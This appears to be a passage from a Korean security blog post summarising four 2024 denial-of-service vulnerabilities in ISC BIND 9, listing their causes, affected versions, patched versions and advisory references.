> 공격자들은 이를 악용해 DoS 공격을 실행할 수 있음

 

2.1 CVE-2024-4076 [4][5]

[사진 1] CVE-2024-4076

- DNS 서버에서 오래된 데이터와 로컬 데이터 조회가 동시에 이루어질 때 발생하는 오류(Assertion 실패)서비스 거부 상태를 유발

> Assertion: BIND 서버가 특정 조건이나 상태를 확인하고, 맞지 않을 경우 오류 발생 또는 특정 동작을 수행하는 것

영향받는 버전
- BIND 9
> 9.16.13 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.11.33-S1 ~ 9.11.37-S1
> 9.16.13-S1 ~ 9.16.50-S1
> 9.18.11-S1 ~ 9.18.27-S1

 

2.2 CVE-2024-1975 [6][7]

[사진 2] CVE-2024-1975

- KEY 레코드를 처리하거나 캐시된 레코드를 검증할 때, SIG(0) 서명된 요청을 연속적으로 전송하여 CPU 리소스를 소진(과도한 부하)시켜 서비스 거부 상태를 유발

> 서버가 KEY Resource Record가 포함된 영역을 호스팅하거나, DNSSEC KEY Resource Record를 캐시의 DNSSEC 서명 도메인에서 유효성을 확인하는 경우

> KEY Resource Record(DNSKEY 레코드): DNSSEC 서명을 확인하는 데 사용되는 공개 키가 포함되어 있으며, 이를 이용해 무결성을 검증 [8]

> SIG(0) 서명: DNSSEC에서 DNSKEY 레코드의 무결성을 보장하기 위해 사용되는 디지털 서명(, DNSKEY 레코드에 대한 디지털 서명)

> 클라이언트는 서버로부터 DNSKEY 레코드와 SIG(0) 서명을 받아 DNSKEY 레코드에서 공개키 추출 및 해당 공개키를 사용해 SIG(0)의 서명의 유효성 검증

영향받는 버전
- BIND 9
> 9.0.0 ~ 9.11.37
> 9.16.0 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.9.3-S1 ~ 9.11.37-S1
> 9.16.8-S1 ~ 9.16.49-S1
> 9.18.11-S1 ~ 9.18.27-S1

 

2.3 CVE-2024-1737 [9][10]

[사진 3] CVE-2024-1737

- 서버가 동일한 호스트에 대해 많은 수의 Resource Records(RR)를 보유하고 있는 경우 데이터베이스의 성능 저하를 유발

> DB RR 내용 추가나 업데이트 또는 클라이언트의 쿼리 처리 시 성능 저하가 발생할 수 있음

> 질의 속도가 100배 느려질 수 있음

영향받는 버전
- BIND 9
> 9.11.0 ~ 9.11.37
> 9.16.0 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.11.4-S1 ~ 9.11.37-S1
> 9.16.8-S1 ~ 9.16.50-S1
> 9.18.11-S1 ~ 9.18.27-S1

 

2.4 CVE-2024-0760 [11][12]

[사진 4] CVE-2024-0760

- TCP를 통해 다수의 DNS 메시지를 보내 서버 과부하 또는 다운을 발생시켜 서비스 거부 유발

> ACL을 사용해도 공격이 완화되지 않음

영향받는 버전
- BIND 9
> 9.18.1 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.18.11-S1 ~ 9.18.27-S1

 

3. 대응방안

- 최신 보안 업데이트 적용 [13][14]

CVE-2024-1975의 경우 serve-stale(만료된 콘텐츠를 클라이언트에 제공하는 것) 비활성화 시 완화 가능한 것으로 보임

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-4076 BIND 9 9.16.13 ~ 9.16.50 9.18.28
9.18.0 ~ 9.18.27
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.11.33-S1 ~ 9.11.37-S1 9.18.28-S1
9.16.13-S1 ~ 9.16.50-S1
9.18.11-S1 ~ 9.18.27-S1
CVE-2024-1975 BIND 9 BIND 9 9.0.0 ~ 9.11.37 9.18.28
9.16.0 ~ 9.16.50
9.18.0 ~ 9.18.27
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.9.3-S1 ~ 9.11.37-S1 9.18.28-S1
9.16.8-S1 ~ 9.16.49-S1
9.18.11-S1 ~ 9.18.27-S1
CVE-2024-1737 BIND 9 9.11.0 ~ 9.11.37 9.18.28
9.16.0 ~ 9.16.50
9.18.0 ~ 9.18.27
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.11.4-S1 ~ 9.11.37-S1 9.18.28-S1
9.16.8-S1 ~ 9.16.50-S1
9.18.11-S1 ~ 9.18.27-S1
CVE-2024-0760 BIND 9 9.18.1 ~ 9.18.27 9.18.28
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.18.11-S1 ~ 9.18.27-S1 9.18.28-S1

 

4. 참고

[1] https://www.isc.org/bind/
[2] https://github.com/isc-projects/bind9?tab=readme-ov-file
[3] https://www.cisa.gov/news-events/alerts/2024/07/24/isc-releases-security-advisories-bind-9
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-4076
[5] https://kb.isc.org/v1/docs/cve-2024-4076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-1975
[7] https://kb.isc.org/v1/docs/cve-2024-1975
[8] https://www.cloudflare.com/ko-kr/learning/dns/dns-records/dnskey-ds-records/
[9] https://nvd.nist.gov/vuln/detail/CVE-2024-1737
[10] https://kb.isc.org/v1/docs/cve-2024-1737
[11] https://nvd.nist.gov/vuln/detail/CVE-2024-0760
[12] https://kb.isc.org/v1/docs/cve-2024-0760
[13] https://kb.isc.org/docs/aa-00913
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71506&menuNo=205020
[15] https://www.dailysecu.com/news/articleView.html?idxno=158092
[16] https://m.boannews.com/html/detail.html?idx=131717&skind=5
[17] https://asec.ahnlab.com/ko/79800/

'취약점 > Denial of Service' 카테고리의 다른 글

NXDomain Flooding  (0) 2024.07.28
Cloud DDoS 취약점 Linguistic Lumberjack (CVE-2024-4323)  (0) 2024.05.22
CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28

+ Recent posts